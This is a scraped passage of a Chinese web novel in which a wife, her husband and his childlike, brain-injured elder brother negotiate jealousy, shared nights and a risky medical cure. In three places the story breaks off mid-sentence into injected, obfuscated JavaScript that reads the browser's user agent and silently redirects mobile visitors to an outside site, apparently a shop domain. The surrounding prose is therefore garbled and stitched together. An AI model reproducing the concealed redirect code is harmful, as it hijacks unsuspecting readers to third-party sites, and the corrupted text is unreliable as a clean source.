外间忽然传来咚的一声,随即是压抑不住的闷哼。 她翻身坐起,快步走到门边一看。 郑淮舟连人带枕头滚到了地上,正手忙脚乱地往上爬。他的眼眶红红的,像浸了水的墨玉,却死死咬着嘴唇,不让自己发出声音。 他看见她出来,挤出一个比哭还难看的笑:“言言,我没事,摔了,不疼……” 李妙仪站在内室门口,叹了口气,转身从柜子里取了一床厚实的被子,走到外间,放在矮榻上。 “夜里凉,你换这个盖吧。”她不自觉放软了态度。 此刻郑淮舟狼狈极了,看着那床被子,又抬头看她,嘴唇动了动。 李妙仪别开眼,转身回了内室。 这一次,她靠在床头,听着外间的动静。直到那边的呼吸声变得绵长而均匀,她才松了口气。 正要躺下,忽然听见院门响动。 李妙仪下意识看了眼外间,来不及多想,连忙起身迎了出去。 郑淮序已经进了院子,蓑衣上挂满了雨水,显然是冒雨赶回来的。他见她迎出来,微微挑眉:“怎么还没睡?” 李妙仪张了张嘴,一时不知该怎么解释。 这会儿,郑淮序已经进了屋,解蓑衣的动作,在看见外间矮榻上的人影时顿住了。 郑淮舟睡得很沉,呼吸均匀,脸上还挂着满足的笑,不知在做什么好梦。 郑淮序的目光从那床被子上掠过,落到李妙仪脸上,一副洗耳恭听的模样。 他这姿态,仿佛瞬间回到了学宫里,每次她干坏事被抓包,他就这么静静看着她,等她顶不住了,自会抖轱辘一般交代清楚。 她难得有些心虚,解释道:“他怕打雷,淋着雨来的,不让进就要赖在门外。” 郑淮序将蓑衣挂在架上,声音平静无波:“罢了,让他睡吧。” 李妙仪以为他会生气,再不济也该有些不悦。可他点了点头,便进了内室,开始解自己的衣袍。 她跟进去,小心翼翼地看着他的脸色。 郑淮序察觉她的目光,抬眼看她,逗趣道:“怎么,怕我把他扔出去?” 李妙仪摇摇头,反问道:“你不生气?” 屋内灯光昏沉,郑淮序伸手将她揽进怀里,叹了口气:“妙仪,在你眼里我是动不动发脾气的人么?况且兄长生病,错的又不是你,而是那些罪该万死的北戎人。你受母亲所托,愿意” 李妙仪靠在他胸口,听着他沉稳的心跳,心忽然安定了下来。 “睡吧。”郑淮序松开她,替她拢了拢被角,“折腾一夜了。” 李妙仪躺下,闭上眼睛。 外间的雷声渐渐远了,雨势也小了下来,像谁在轻轻拨弄琴弦。她总算有了睡意,迷迷糊糊间,忽然听见外间传来动静。 是郑淮舟醒了。 她猜想他自己会安生躺着,可那动静越来越大,窸窸窣窣的,像是有人下了榻,往内室这边走来。 然后她听见郑淮序起身的声音。 “做什么?” 郑淮舟整个人都慢了半拍:“言言,要看言言。” “她在睡。” “就要看,”郑淮舟的声音突然大了些,带着孩子气的执拗,“你给我让开!” 李妙仪就着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298630|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内室未熄的烛火,看见两个身影站在门边。郑淮序挡在门口,郑淮舟抱着枕头想往里挤,两个人就这么僵持着。 郑淮序语气淡淡:“回你榻上去。” 郑淮舟瘪了瘪嘴,委屈得像要哭出来:“坏弟弟,你又抢我的言言。” 郑淮序扶额,手指在眉心按了按。 李妙仪坐起身,正想开口说什么,郑淮舟却忽然绕过郑淮序,直直朝床榻跑来。郑淮序伸手想拦,他已经跑到床边,一把将李妙仪连人带被子搂住。 “我的!”他冲着郑淮序喊,像一只护食的小兽,“言言是我的!” 郑淮序脸色由晴转阴,大步上前,握住郑淮舟的手臂:“放开。” 郑淮舟不肯放,反而抱得更紧。李妙仪被勒得喘不过气,伸手去推他,他却像铁了心一样,怎么也不肯松手。 郑淮序见状,手上用了力道,硬是将他的手臂掰开。郑淮舟吃痛,却还是不松,反而红着眼眶,整个人往李妙仪身上扑。 李妙仪被两个人夹在中间,左边是郑淮序的手,右边是郑淮舟的怀抱。两个人都使着劲,她被挤得动弹不得,呼吸都有些困难起来。 “放开!”她的声音闷闷的,两个人却像没听见一样。 郑淮舟的眼泪已经流下来了,却死死咬着牙不肯松手。郑淮序的脸色沉得能滴出水来,手下力道越来越重,指节都泛了白。 “我说——” 李妙仪忽然提高了声音,猛地用力挣脱出来,一把推开两个人。 “都给我放开!” 她呼吸急促,胸口剧烈起伏着。她看着面前两个男人,深吸一口气,指着外间,一字一顿:“你们两个,今晚都睡外间!” 郑淮序眉头微动,刚要开口。 “不然就是我出去睡!”李妙仪抢在他前面,目光从两个人脸上扫过,声音带着不容置疑的果决,“你们自己选。” 郑淮舟眨了眨眼,眼泪还挂在脸上,却有些不知所措地看向郑淮序,像是不明白发生了什么。 郑淮序看着他这副模样,又看看李妙仪,忽然低低笑了一声。他转身,从柜子里取了一床被子,往外间走去。 郑淮舟还愣在原地,呆呆地看着他的背影。 李妙仪指着外间:“你也出去。” 郑淮舟抱着枕头,乖乖往外走。走到门边,又回头看她,小声道:“言言,不生气?” 那声音小心翼翼的,带着几分讨好,几分忐忑。 李妙仪别过脸,烦闷不已:“不生气了,赶紧去睡。” 等郑淮舟在矮榻边站定,郑淮序已经在长榻上躺下,见他过来,往里边挪了挪,给他腾出一半地方。 “愣着做什么,上来。” 郑淮舟看看他,又看看那张长榻,抱紧枕头,小心翼翼地爬上去,在郑淮序身边躺下。 两个人并排躺着,中间隔着半尺距离,都睁着眼睛看屋顶。 外间的灯还亮着,内室的灯已经熄了。只有一线微弱的光从门缝里透出来,照在两个人脸上,明明灭灭的。 郑淮舟忽然开口:“伯章弟弟。” “嗯?” 郑淮舟转过头看他:“言言是我先有的,你是弟弟,我也不会让。” 63. 迷茫 明知他听不懂,郑淮序仍纠正道:“她不是附属品,不属于任何人。” 郑淮舟又转过头去看屋顶,像是在自言自语:“可我还是想她,想靠近她。她对我好,给我被子盖……让我进来……” 他说着说着,声音越来越低,渐渐变成了均匀的呼吸声。 郑淮序侧过头,看着身边熟睡的兄长。他的脸上还挂着泪痕,眉头却舒展着,嘴角甚至带着一丝浅浅的笑。 他收回目光,看着屋顶,许久没有动。 内室里,李妙仪躺回床榻,却怎么也睡不着了。 外间的呼吸声一轻一重,她知道那是郑淮舟又在做噩梦,可每次只顿一瞬,便又平稳下去,大约是身边有人,让他安心了些。 她翻了个身,将脸埋进枕头里。 再醒来时,天已经蒙蒙亮了。李妙仪坐起身,披了外衫往外间走。 外间的情景让她愣住了。 郑淮序和郑淮舟并排躺在长榻上。两个人不知什么时候挤到了一起,郑淮舟的脑袋枕着郑淮序的肩膀,郑淮序的手臂被压在他身下,却都没有醒。 郑淮舟难得安静下来,嘴角还挂着傻乎乎的笑。郑淮序的眉头舒展着,眉眼间带着几分罕见的放松,连平日眉宇间那抹倦色都消失了。 李妙仪站在门边,看了许久。 晨光从窗缝透进来,细细的,柔柔的,落在两个人身上。 她忽然想起郑淮序曾跟她说过,小时候他和兄长感情极好,同睡一张床,同用一张书案,同吃一碗饭。后来长大了,变得沉稳了,才渐渐生疏。 如今,他们又同睡在一张榻上了。 李妙仪轻手轻脚地退回去,想去厨房吩咐早膳,刚转身,身后便有动静。 “醒了?” 是郑淮序的声音,带着刚睡醒的低哑。 李妙仪回头,他已经坐起身,正轻轻把郑淮舟的脑袋挪到枕头上。郑淮舟嘟囔了一声,翻个身继续睡,怀里还紧紧抱着那个枕头。 郑淮序站起来,走到她身边。晨曦里,他忽然伸手,将她散落在颊边的一缕发丝拢到耳后。 “昨夜睡得好吗?” 李妙仪点点头,又摇摇头。 郑淮序笑了,那笑容里有几分她看不太懂的东西,像是释然,又像是别的什么。 “往后,他来便来吧。有我在,无妨。” 这句话,像一颗石子投进她心底,荡开一圈又一圈的涟漪。 身后,郑淮舟翻了个身,迷迷糊糊地喊了一声:“言言……” 两个人同时回头。 郑淮舟揉着眼睛坐起来,看见他们并肩站着,愣了一下,随即瘪了瘪嘴,像是又要哭。 可这一次,他没哭。 他只是抱着枕头,乖乖地坐在榻上,小声说:“饿。” 那声音委屈巴巴的,却又带着几分撒娇的意味。 郑淮序失笑,笑意从眼底漾开:“我去叫人摆膳。” 早膳时,郑淮舟规规矩矩坐在李妙仪对面,筷子在碗里扒拉半天,才能把菜夹起来,颤颤巍巍地往嘴里送。 郑淮序坐在李妙仪身侧,慢条斯理地喝粥,目光时不时掠过对面的人。眼底有淡淡的无奈,也有几分不易察觉的柔和。 李妙仪夹了一块点心,正要往嘴里送,对面忽然伸过来一双筷子。 郑淮舟把一块糯米糕夹到她碟子里,眼巴巴地望着她:“言言,吃。” 李妙仪看着那块糯米糕,又看看他那张写满期待的脸,一时不知该作何反应。 郑淮序在一旁淡淡道:“他方才偷偷藏起来的,自己没舍得吃。” 郑淮舟被揭穿了,也不恼,只是不好意思地低下头,耳朵尖却红了。 她没说什么,拿起那块糯米糕,咬了一口。 早膳后,郑淮序要去官署,临走前将李妙仪拉到一旁,低声道:“今日若他再闹,让人去官署寻我。” 李妙仪摇摇头:“不必,我能应付。” 郑淮序轻轻捏了捏她的脸颊,指腹在她肌肤上停留了一瞬,然后转身大步离去。 李妙仪站在门口,目送他的身影消失在院门后。 郑淮舟走到她身侧,也学着她的样子朝院门那边望。望了一会儿,他忽然说:“伯章弟弟,是好人。” 李妙仪转头看他。 “伯章弟弟,对言言好,对我也好。” 李妙仪沉默了一瞬,轻声道:“嗯,他是好人。” “那我呢?”他忽然问,眼睛亮亮地看着她,“我是好人吗?” 李妙仪看着他的眼睛。那双眼睛很大,很亮,却空空荡荡的,像一间没有了家具的屋子。可此刻,那空荡荡的屋子里,却盛满了期待。 她忽然发现,不知从什么时候起,她看他时,心里的厌恶和恼怒已经淡了许多。取而代之的,是一丝她自己都不愿承认的柔软。 “你是好人。”她听见自己说,声音很轻,却很坚定,“还是大雍的英雄。” 郑淮舟眼眶一点一点泛红,他张了张嘴,想说什么,却什么都说不出来,只是用力地点头。 李妙仪别开眼,往院子里走。 “走吧,”她说,声音被风吹散了些,“今日天气好,去院子里晒晒太阳。” 郑淮舟跟在她身后,亦步亦趋,脸上的笑容比那阳光还要灿烂。 午后的阳光暖暖地照着,李妙仪坐在廊下,绣完香囊的最后一针,将线剪断,把香囊举起来端详。 月白色的绸面上,绣着一对鸳鸯,栩栩如生,亲密地依偎在一起。 郑淮舟凑过来看,看了半天,忽然问:“这是什么?” “鸳鸯。” “鸳鸯是什么?” 李妙仪想了想,道:“是一种鸟,它们总是一对一对的,不分开。” 郑淮舟似懂非懂地点点头,又盯着那对鸳鸯看了一会儿,忽然指着其中一只,认真道:“这是言言。” 又指着另一只:“这是弟弟。” 他蓦然顿住,眼神有些茫然:“那我是谁?” 李妙仪愕然,一时不知该如何回答。 就在这时,院门口忽然传来一阵动静。 郑淮序今日回来得早,日头还高高挂着。他大步走进院子,玄色的衣袍在风里微微扬起。看见廊下的情景,他脚步一顿。 郑淮舟蹲在地上,李妙仪坐在廊下,两个人之间隔着一臂的距离,各自做着自己的事。阳光洒在他们身上,画面竟有一种说不出的和谐。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298631|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>郑淮序走过去,在李妙仪身边坐下,看了一眼她手中的香囊:“绣好了?” 李妙仪点点头,将香囊递给他。 郑淮序接过来,仔细端详了一番,眼中泛起笑意:“手艺越发好了。” 他将香囊系在腰间,月白色的香囊配着他玄色的衣袍,格外醒目。抬起头,正对上郑淮舟的目光。 郑淮舟看着他腰间的香囊,又看看他,又看看李妙仪,嘴唇动了动,却没说话。 郑淮序挑眉问:“怎么,想要?” 郑淮舟摇摇头,又点点头,最后又摇摇头,把自己都摇糊涂了。他低下头,背影看起来有些闷闷的,肩膀微微垮着。 李妙仪心里不知怎的,忽然有些不是滋味。她站起身,往屋里走:“我去让人备茶。” 郑淮序的目光追着她的背影,若有所思。 郑淮舟望着她的背影,小声说:“言言不高兴了。” 郑淮序收回目光,看了他一眼。 郑淮舟抱着膝盖,缩成一团,声音闷闷的:“是我让言言不高兴了。” “不是。”郑淮序淡淡道,目光投向李妙仪消失的方向,“是我。” 郑淮舟抬起头,疑惑地看着他。 郑淮序没有解释,只是伸手,在他脑袋上揉了一把。郑淮舟被揉得一愣,随即笑了起来,方才的闷闷不乐早就抛到九霄云外去了。 这一日的晚膳,三个人是一起用的。 饭后,郑淮序有事要处理,去了书房。郑淮舟却赖着不肯走,抱着他的枕头,蹲在廊下,眼巴巴地望着李妙仪。 “言言,今晚还打雷吗?” 李妙仪抬头看了看天,天边堆着几团云,月亮在云层里穿行,忽明忽暗。 “不知道。” 郑淮舟哦了一声,继续蹲着,没有要走的意思。 李妙仪同他僵持不下,终于开口:“你今日不回去?” 郑淮舟摇摇头,抱紧枕头,小声道:“想和言言在一起。” 李妙仪正要拒绝,书房的门开了,郑淮序走出来。他看着廊下的情景,脚步顿了顿,随即走过来,在郑淮舟身边站定。 “今晚若打雷,”他说,声音平静,“便留下吧。” 郑淮舟猛地抬头,眼睛亮得惊人。 郑淮序没看他,只是看着李妙仪,唇边带着一点若有若无的笑意:“外间那张榻,够睡两个人。” “随你们。”她转身往屋里走,声音从前面飘过来,“我去让人多拿床被子。” 身后,郑淮舟发出一声欢呼,抱着他的枕头蹦了起来。郑淮序低声说了句什么,大约是让他安静些,郑淮舟立刻捂住嘴,可眼睛里的笑意却怎么也藏不住。 这一夜,果然又落了雨。 雷声滚滚而来,不像昨夜那般狂暴。郑淮舟抱着枕头,乖乖躺在外间的长榻上。郑淮序躺在他旁边,手里拿着一卷书,借着灯光慢慢翻看。 每一声雷响,郑淮舟便会往他那边缩一缩。郑淮序也不躲,由着他挤过来,后来干脆放下书,伸手揽住他的肩膀。 “睡吧。” 郑淮舟靠在他肩上,慢慢闭上眼睛。 内室里,李妙仪听着外间渐渐平稳的呼吸声,翻了个身,安稳睡去。 64. 阋墙 郑淮舟非要和小两口挤在一处夜宿的事,到底还是被父母亲知晓了。 国公爷与夫人对坐灯下,愁眉不展了大半宿。兄弟阋墙的祸根,往往就埋在这些芝麻大的小事里。左思右想,只得狠狠心,送他去城外庄子上住些时日,权当散心养病。 山庄在城外三十里处,依山傍水,果然是个清幽的去处。 马车停在庄门前时,早有仆从鱼贯迎出,整整齐齐站成两溜。郑淮序的公务脱不开身,今日来的便只有国公爷、国公夫人,还有奉命“相送”的李妙仪。 郑淮舟下了马车,新奇地抻着脖子四处张望。可不过片刻,他转身去看来路,又看看面前这座全然陌生的庄子,忽然一把抓住李妙仪的袖子,声音发紧:“言言,回去,我们回去!” 国公夫人忙上前,放柔了声气:“济川,这是新家,你瞧瞧,多好看呀,还有好多好玩的东西,你一定会喜欢的。” 郑淮舟拼命摇头,攥着李妙仪袖子的手更紧了,闷声道:“不要新家,要旧家,和言言一起。” 那只手微微发抖,像溺水的人抓着仅有的一块浮木。李妙仪张了张嘴,正想一口回绝,却发觉手臂被国公夫人轻轻按住了。 她垂下眼睫,终究没有挣开那只手。 一行人浩浩荡荡进了庄子。 国公爷和夫人指着园子里的景致,絮絮说着种种好处,后山有温泉,园子里有锦鲤,书房里收着多少有趣的杂书。郑淮舟却听不进去,走几步便要回头望一眼,见李妙仪还在身后,才肯继续往前。 李妙仪便不远不近地跟着。 池中的锦鲤果然好看,红的白的金的,聚成一团争食,搅得水花四溅。国公夫人抓了把鱼食递过去,郑淮舟不肯接,后来被一条跃出水面的红鲤勾住了眼睛,试探着撒了一小撮。 鱼儿们顿时翻腾起来,水珠子溅到他手背上。他唬了一跳,往后退了半步,随即又忍不住凑上前去看,嘴角悄悄弯起来。 “好玩吗?”国公夫人问。 郑淮舟点点头,眼睛亮了一瞬,回头唤道:“言言,快来看!” 李妙仪走上前,立在他身侧,看着池中翻涌的锦鲤,眼底情绪不明。 郑淮舟踏实了,又撒了一把鱼食,笑出了声。 庄子活动丰富,但李妙仪兴致缺缺,归心似箭,一连几日都在房中看书,只有用膳时才同他们一起。 今日,午膳摆在临水的阁子里,满桌都是郑淮舟素日爱吃的。国公爷亲自给他布菜,国公夫人温言软语地哄着。郑淮舟被父母围着,倒也安安生生吃了一顿饭。 饭罢,国公夫人牵着他往后山去看温泉,国公爷负手跟着。李妙仪趁这个空儿道:“母亲,府里还有些事,我先回去料理,明日再来。” 郑淮舟脚步一顿,猛地回头。 李妙仪对上他的目光,那一瞬间,她几乎以为他要跑过来拉住她。可他只是站在那儿,看着她的眼睛,慢慢地,那眼睛里浮起一层水光。 “言言,你还会回来吗?” 李妙仪于心不忍,点点头:“回来。” 郑淮舟望着她,望了许久许久,久到国公夫人都有些不忍,扯了扯他的袖子提醒。他终于垂下眼,转过身,跟着父母往后山走去。 李妙仪立在原处,看着他的背影渐渐走远,渐渐被花木掩住,消失在小径尽头。 马车在府门前停稳时,申时将尽,日头已斜斜地偏西了。 李妙仪扶着车沿下来,正欲往府里走,忽听得身后一阵急促的马蹄声,由远及近,踏破了黄昏的寂静。 她回过头。 郑淮序勒住缰绳,翻身下马。他一身风尘仆仆,眉宇间是连日奔波留下的疲惫,可就在望见她的那一瞬,倦色竟也淡了几分。 “回来了?”他大步走到她跟前,步履生风。 李妙仪应道:“刚回。” 郑淮序没再言语,只是握住了她的手。他的手很热,握得也紧,紧得像是怕她一眨眼就会跑掉似的。 李妙仪被他拉着往府里走,手心传来的热度顺着脉络往上攀,心口忽然跳得快了些。 他们已经好几日没有好好说过话了。 这几日他忙于查案,早出晚归,有时甚至整夜不归。而她被郑淮舟缠着,也分身乏术。两个人明明是夫妻,却像是两条偶尔交汇的线,匆匆擦过,又各自散去。 好不容易寻了借口,才从庄子上回来。 李妙仪本以为他会带她回屋,不想郑淮序脚步一转,径直往书房的方向走去。他走得急,步伐又快又大,她被他牵着,几乎要小跑着才能跟上。 门在身后合上的那一刻,他将她抵在了门上。 不是轻轻靠着,是实实在在地压过来,脊骨撞上雕花的门板,闷响一声。李妙仪还未来得及出声,他的手掌已经垫在了她脑后,指腹抵着她的发丝,将那一下撞击化成了虚惊。 “妙仪。”他唤她的名字,裹着压抑了许久的渴念。 下一瞬,急促滚烫的柔软缠了上来。 他一手捧着她的脸,拇指抵在她下颌,迫使她仰起头承受暴风雨侵袭。她被他吻得喘不过气,只能攀着他的肩,指节揪紧了他肩头的衣料,攥出一道道褶皱。 她退,他便进,寸步不让。鬓边的碎发乱了,有几缕黏在嘴角,又被他的吻碾过、拨开。熟悉的气息裹挟着她,如同潮水漫过堤岸,没有停歇的意思。 不知何时,两个人已经移到了紫檀木的书案边。 镇纸落地,“咚”的一声滚进桌底,再看不见踪迹。宣纸则被她的袖口带得窸窣作响,有几张飘到了地上。步步紧逼之下,她手肘撑在冰凉的案面上,勉强稳住身子。 他不肯给她喘息的机会。 吻愈发深了,仿佛要将人拆吃入腹,时而轻触,时而探入,却在察觉她呼吸不匀时骤然放缓,转为唇与唇的厮磨,似安抚,似诱哄。 “不要在这里。”她条件反射地往后缩,却被他扣住了腰,动弹不得。 “这里好。”他俯身下来,与她十指相扣,“没人打扰。” 李妙仪还想说什么,却被他堵住了声音,长发如墨汁般铺散在案面上。 窗外天色渐暗,室内没有点灯。昏暗里,李妙仪咬着唇,不敢发出太大声响。 砰!砰砰砰! 剧烈的拍门声骤然炸响,几乎要将门板震裂。 “言言!言言!” 是郑淮舟的声音,带着哭腔,又急又怕,丢了魂似的。 “你在里面对不对,快开门!开门!” 李妙仪猛地睁开眼,对上郑淮序同样僵住的脸。 “他怎么回来了?”她声音发颤,着实被吓得不轻。 郑淮序眉头紧皱,下颌线条绷得像刀锋,喉结上下滚动了一下,没有回答。 拍门声还在继续,一下比一下重。郑淮舟的哭声越来越大,掩不住慌张:“言言,开门!我要言言!呜呜……言言不要我了吗……” 伴随着哭声的,还有砸门声,整张门板都在震颤,铰链吱呀作响。 李妙仪想推他,他却纹丝不动,牢牢锁住她的视线,胸膛剧烈起伏,每一次呼吸都快要烫着她。 “伯章,别这样。”她低声叫他,声音里带着恳求,又推了推他的肩,“他会听见的……” 郑淮序寸步不让,忽然俯下身,贴着她的耳廓,声音从齿缝里挤出来:“听见又怎样?” 李妙仪瞪大了眼。 “你听,他在外面哭,”他几乎咬着她耳朵,一字一字慢慢碾过,“可在你面前的人,是我啊。” 话音落下,他又缠上来,再也没有顾忌。 李妙仪猝不及防,不由惊呼了一声,但很快被他用手捂住了嘴,戛然而止。 门外,郑淮舟的拍门声顿了一顿,随即更加剧烈地响起来。 “言言?你怎么了?弟弟欺负你了?开门!我打死他!” 李妙仪浑身都在发抖,她能听见郑淮舟的哭声,能听见外面隐约传来的纷杂脚步声。可这一切,都被切割成支离破碎的片段,意识来回撕扯。 噪音环绕不散,郑淮序无法像方才那样专注,亲吻里透出几分急躁。 无数念头在脑海里搅成一团,李妙仪最后放弃了思考,闭上眼睛。 不知是谁的手臂碰到了什么,案上那方未干的端砚应声倒下,浓黑的墨汁倾泻而出,与笔洗里打翻的水混在一处,在散落的宣纸上晕染开来。 墨色在水中洇开,像一朵朵黑色的花,纠缠着,晕染着,分不清边界。 分明是明媒正娶、三书六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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院子里灯火通明,仆从们来来往往,看见他们时都低着头,没人敢多看。李妙仪知道,今夜的事,怕是已经长了脚,传遍了整个府邸的角角落落。 她没说什么,只是安静地跟在郑淮序身侧,往颐年堂走。 颐年堂里灯火通明,隔着一道垂花门,老远就能听见郑淮舟震天动地的哭声。 迈进院门,只见他坐在廊下的台阶上,哭得满脸是泪。国公夫人站在一旁,眉头紧锁,眼底是掩不住的疲惫与心疼,几个丫鬟仆从围在边上,手足无措。 “言言!” 郑淮舟一看见她,立刻从地上爬起来,也顾不上拍打身上的灰,跌跌撞撞朝她跑过来。跑到她面前,他站定了,喘着气,眼泪却流得更凶了。 “言言,见不到你好着急。我跑回来的,好远好远,跑了好久好久。” 李妙仪看着他,无言以对。 他袍子上沾了泥土和草屑,有几片枯叶还挂在衣摆上,头发散乱,狼狈得不成样子。 谁能想到,不过数年之前,他还是那个跨马提枪、一夫当关的大将军。曾于万军之中运筹帷幄,决胜千里;曾于阵前一声令下,三军齐动,山河震颤。 可如今,他早已不见半点疆场上的杀伐决断,只剩下最单纯的依赖与惶恐。 她沉默了一瞬,才轻声道:“以后去哪里,都要和其他人说一声,知道没?” 郑淮舟眼泪还挂在脸上,嘴却慢慢咧开,露出灿烂的笑容:“知道了,言言,我会听话。” 国公夫人走上前,叹了口气,眉心的疲惫淡了一些,只剩下无奈:“这孩子,趁人不注意偷偷溜出来的。等发现时,已经跑出好几里了。派人去追,他跑得更快,也不知道哪来的力气,到底让他先跑回来了。” 郑淮序没说话,只是看着兄长,神情复杂。 郑淮舟的目光在郑淮序脸上停了一瞬,又落在两个人交握的手上,瘪了瘪嘴,小声蛐蛐道:“弟弟,坏。” 夜风吹过廊下,灯火晃了晃。郑淮序忽然松开李妙仪的手,走上前一步,抬手在郑淮舟脑袋上揉了一把。 “回来了就回来吧,不去庄子了,安心留在府上养病,我派出去寻医的人还有一阵子才能回来。”他又拍去郑淮舟身上的草屑,语气平缓,“兄长,作为男子汉,别总是哭,我怕你到时候想起来,觉得丢人。” 郑淮舟瞧着他的举动,一愣一愣的,半晌没有反应。 郑淮序已经收回手,转身往屋里走:“让人备热水,给他洗漱。” 他走得不快,背影落在灯火里,肩线仍是那样挺拔,可不知怎的,李妙仪看着那背影,心里忽然涌起一种说不清的滋味。 65. 结痂 七日后,郑淮序派出去寻医的亲卫,带回了一位据说擅长解毒的江湖名医。 那大夫须发花白,言语不多,绕着郑淮舟转了几圈,翻看眼皮舌苔,又细细诊了脉,最后定下了一套以毒攻毒的法子。 第一剂药煎好时,整个院落都弥漫着一股古怪的苦臭气息,甚是难闻。 药端到床前,郑淮舟盯着那碗黑乎乎的药汁,眼神渐渐变得惊恐。丫鬟才靠近一步,他猛地往后缩,抬手一扫,药碗砸在地上,碎片药汁溅了一地。 “世子……” “别过来!”他缩在床角,害怕得声音都变了调,“那分明是毒药,你们这群坏人,休想骗我!” 几个丫鬟面面相觑,谁也不敢上前。这几日她们早已领教过,这位爷犯起倔来,力气大得吓人。 李妙仪闻讯过来时,第二碗药已经煎好。她端着药碗走到床边,丫鬟们自动让开一条路。 “喝了。”她面无表情地说。 榻上的郑淮舟立刻坐直了,看着她,又看看那碗药,瘪了瘪嘴,很坚决地摇头。 李妙仪在床沿坐下,舀起一勺药汁,二话不说,直接递到他唇边。他下意识地抿紧嘴唇,她便用勺沿抵开他的齿关,硬生生灌了进去。他苦得整张脸都皱成一团,喉咙却还是动了动,乖乖咽下去。 郑淮序站在门外,隔着半掩的门扇看着这一幕。 又一勺喂进去,整个口腔充斥着呛人的味道,郑淮舟忽然抬起手,攥住了她的衣袖。 “言言,喝完了喝完了,好困。” 李妙仪放下药碗,想抽回袖子,却被他攥得更紧。两息后,他往她身侧挪了挪,头一歪,竟直接枕在她腿上,眼睛已经闭上了。 郑淮序转过身,靠在门外的墙上。 院子里很静,只有远处隐约传来几声鸟叫。他想起从前,他唤她嫂嫂,规规矩矩,恪守本分。他见过郑淮舟揽她的腰,替她拢好鬓边的碎发,俯身在她耳边低语。那时他只是别开眼,心想兄长与嫂嫂恩爱,是理所应当的事。 他从未想过,有朝一日,他们会落到这般两难的境地。 夜里李妙仪回到房中,郑淮序已经在等她。 铜镜前,她解着钗环时,他从背后环了上来,手臂箍得很紧,唇贴在她颈侧,呼吸烫得厉害,像是憋了一整天,终于等到这一刻。 “他可有再闹你?”他闷声发问。 “喝药后睡了几个时辰,方才用膳后又睡下了,和大夫说的症状差不多。”她没停下手里的动作,玉簪从发间抽出来,青丝泻了满肩,也垂到了他的手臂上。 他晃了晃脑袋,撒娇似的:“一天就这么短,夫人的时间都分不到我身上。” 李妙仪顿了顿,揶揄道:“某人不是很大度嘛?” “我是想大度来着,”他埋在她肩窝里,声音有些模糊,“可看着你事无巨细照顾他,心里还是好难受,怎么办?” 闻言,她转过身来,乌发披散,衬得一张脸愈发素净。随后抬手拥住他,指尖抚过他后颈:“没事的,我不是真正的崔令言。等他好起来,想起一切,定会理解的。” 郑淮序摇了摇头,烛火映在他眼底,有暗流涌动:“即便你不是崔令言,可曾经你与他朝夕相处,他若非心悦你,又怎会在失忆后只记得你一人?” 这话像石子投进静水,她愣住了。 片刻后,她踮起脚,在他唇上安抚地吻了一下。本是浅尝辄止,他却扣住她的后脑,将这个吻压深。 她被吻得气息不稳,退开时唇上泛着水光,眼尾也染了薄红。 “我如今可是你明媒正娶的夫人,”她喘着气说,“千难险阻都能跨过去,谁也不能把我们分开。” 因为这一句,夜里他索求得格外厉害。 她被他闹得又累又气,最后连抬手的力气都没了,昏昏沉沉间只记得他把她捞进怀里,手臂箍得死紧,像是怕她跑了一样。 第二日清早,李妙仪醒来时,郑淮序已经穿戴整齐,正对着铜镜端详自己的脸。 晨光从窗棂漏进来,镜中映出他的侧脸,从颧骨到下颌,有一道细细的血痕,虽然已经结了痂,但在他那张清俊的脸上显得格外扎眼。 李妙仪懒洋洋靠在引枕上,想起昨夜的事,脸腾地热了起来。 郑淮序从镜中看见她醒了,回过头,似笑非笑:“夫人好大的力气。” 李妙仪抓起枕头砸过去:“滚。” 早膳后,郑淮序去官署。 同僚们见了他脸上那道痕迹,神色各异。有憋着笑的,有关切的,有意味深长地拍他肩膀说“郑大人辛苦了”的。郑淮序一概面无表情,由它堂而皇之地挂在他脸上。 从那以后,郑淮舟昏睡的时间越来越长。 起初是一日睡上一两个时辰,后来变成半日,再后来,往往一剂汤药下去,他能从晌午一直睡到暮色四合。国公府上下,见此情形,在松一口气的同时,也不免生出几分心酸。 松一口气,是因为终于不必时刻提防他突如其来的纠缠,闹得阖府不宁。如今他睡了,府里安静了,安静得像他根本不存在一样。 心酸,是因为所有人都知道,他睡着的时候,才是最正常的时候。那安静平和的睡颜,仿佛还是当年那个鲜衣怒马的少年郎。可一旦醒来,他便又成了那个痴痴傻傻、连自己是谁都记不清的病人。 国公夫人每日都要去他屋里看上几回,有时一坐便是半个时辰。她不让丫鬟打扰,就那样静静看着,看着看着,突然红了眼眶。 李妙仪这些日子也难得清静下来,那根自郑淮舟归来后便一直紧绷的弦,总算稍稍松弛。 然而府内的短暂平静,却衬得朝堂之上的风云愈发汹涌。 郑淮序探查数月,原以为那作乱的组织不过是又一伙权力熏心、勾结外敌的乱臣贼子。但随着调查深入,尤其是在查抄几个核心成员据点时,发现的一些带有独特印记的信物、以及使用了前朝宫廷隐秘称谓的密信,让他悚然一惊。 这一切的幕后黑手,并非寻常权奸或外敌,而是前朝余孽。 